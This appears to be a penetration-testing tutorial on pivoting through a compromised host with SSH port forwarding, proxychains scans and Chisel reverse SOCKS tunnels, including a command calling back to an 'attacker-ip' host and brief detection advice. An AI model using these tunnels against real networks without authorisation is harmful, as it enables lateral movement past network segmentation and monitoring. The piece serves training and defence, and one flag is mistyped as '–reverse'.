Mastering Network Pivoting: SSH Port Forwarding and Chisel Tunnels

When compromised host A lives on a perimeter network and target host B resides deep inside an isolated internal segment, direct network access is out of the question. You cannot simply fire up nmap from your attacker machine against host B. You need to pivot.
Pivoting is the practice of using an already compromised system as a bridge to reach previously inaccessible subnets. In enterprise environments, flat networks are rare. Firewalls, VLANs, and strict routing policies isolate critical domain controllers, databases, and backup infrastructure from edge systems like web servers or VPN endpoints.
Understanding the mechanics of network pivoting is an essential milestone for intermediate security practitioners. Whether performing offensive red team engagements or defending against adversaries who have established a foothold, understanding tunneling mechanisms allows you to navigate or restrict lateral movement effectively.
Level 1: Native SSH Tunneling Essentials
If the pivot target is a Linux host running SSH, native SSH port forwarding is often your cleanest, zero-dependency option. Linux distributions almost universally include SSH clients, making it unnecessary to transfer custom binaries during initial access.
SSH provides three main types of port forwarding: local, remote, and dynamic.
Local Port Forwarding in Action
Local port forwarding opens a listening port on your local attack machine. Traffic sent to this port is encrypted, routed through the SSH tunnel to the pivot host, and then forwarded to a specific destination host and port on the internal network.
Imagine host pivot-server (10.0.0.10) can reach internal database server B (10.0.0.5) on port 5432. You can set up local forwarding using the -L flag:
ssh -L 5432:10.0.0.5:5432 user@pivot-server -N
Here is what each parameter accomplishes:
- -L 5432:10.0.0.5:5432 tells your local machine to listen on local port 5432 and forward incoming connections to 10.0.0.5 on port 5432 via the pivot host.
- -N prevents SSH from executing a remote command or dropping into an interactive shell, which keeps the tunnel running cleanly in the background.
Now, pointing your local database client or psql tool to 127.0.0.1:5432 transparently reaches database server B on the private subnet.
Remote Port Forwarding for Callback Handling
Remote port forwarding does the exact inverse. It opens a port on the remote pivot host and routes any traffic hitting that remote port back to a port on your local attack machine. This technique is useful when you need an internal target host to call back to a reverse shell or payload listener running on your machine.
ssh -R 8080:127.0.0.1:80 user@pivot-server -N
In this configuration, any machine on the internal network that sends HTTP requests to port 8080 on pivot-server will have its traffic safely routed back to port 80 on your local attack platform.
Dynamic Port Forwarding with SOCKS and Proxychains
Targeting single static ports works well for known services, but performing broad network discovery requires routing traffic dynamically to any host or port across an entire subnet. Dynamic port forwarding converts SSH into a SOCKS proxy server using the -D flag.
ssh -D 1080 user@pivot-server -N
This command creates a SOCKS proxy on your attacker machine listening on localhost port 1080. To send tool traffic through this proxy, configure toolchains like Proxychains.
Open /etc/proxychains4.conf and add your proxy details at the end of the file:
socks5 127.0.0.1 1080
Once configured, prepend proxychains to your CLI security tools:
proxychains nmap -sT -Pn -p 22,80,443,445 10.0.0.0/24
Note: Proxychains works by hooking standard C library calls like connect(). Consequently, raw socket scans such as nmap SYN scans (-sS) will fail over SOCKS proxies. Always use TCP connect scans (-sT) and disable ICMP ping checks (-Pn).
Level 2: Modern Pivoting with Chisel
While SSH port forwarding is versatile, SSH binaries or user credentials are not always available on target systems. Furthermore, raw SSH connections originating from unexpected endpoints can trigger security operations center alerts.
This is where Chisel shines. Chisel is a fast, open-source TCP/UDP tunnel written in Go that encapsulates traffic inside HTTP/HTTPS protocols using WebSockets. Because it compiles to a single static binary without external runtime dependencies, it runs seamlessly across Linux, Windows, and macOS.
Deploying a Chisel Reverse SOCKS Tunnel
A common operational pattern is establishing a reverse SOCKS tunnel with Chisel. This prevents firewall egress rules on the pivot target from blocking inbound management traffic, as the compromised pivot host initiates the connection outbound to your attack server.
Step 1: Start the Chisel server on your local attack machine.
chisel server -p 8000 –reverse
Step 2: Execute the Chisel client on the compromised pivot host.
chisel client http://attacker-ip:8000 R:socks
The client connects back to your attack server over HTTP/WebSockets and opens a remote SOCKS proxy listener (defaulting to port 1080) directly on your attack machine.
You can now use proxychains seamlessly, exactly as you did with SSH, but over an encrypted WebSocket stream masquerading as standard web traffic.
Defense and Detection Considerations
Understanding pivoting from an offensive perspective highlights critical defensive gaps. Detecting encapsulated proxy traffic requires analyzing network metadata and endpoint process behavior:
- NetFlow and Network Traffic Analysis: Monitor for sustained, high-volume outbound TCP connections originating from non-web application servers to unusual external IP addresses.
- Process Lineage and Command Arguments: Look for execution of ssh commands containing forwarding flags (-L, -R, -D) or unauthorized standalone binaries executing commands like chisel server or chisel client.
- Deep Packet Inspection: Inspect WebSocket upgrades and TLS traffic at edge boundary proxies to detect non-standard HTTP communications and encrypted tunnel creation.
Wrapping Up
Mastering SSH port forwarding and modern tools like Chisel allows you to fluidly traverse segmented network architectures. Practice setting up two virtual machines in isolated networks within your local lab environment. Get comfortable switching between local forwards for specific web consoles and dynamic SOCKS proxies for network enumeration. Understanding these fundamental flow mechanisms will elevate both your penetration testing efficiency and your threat detection capabilities.
Photo by Gavin Allanwood on Unsplash.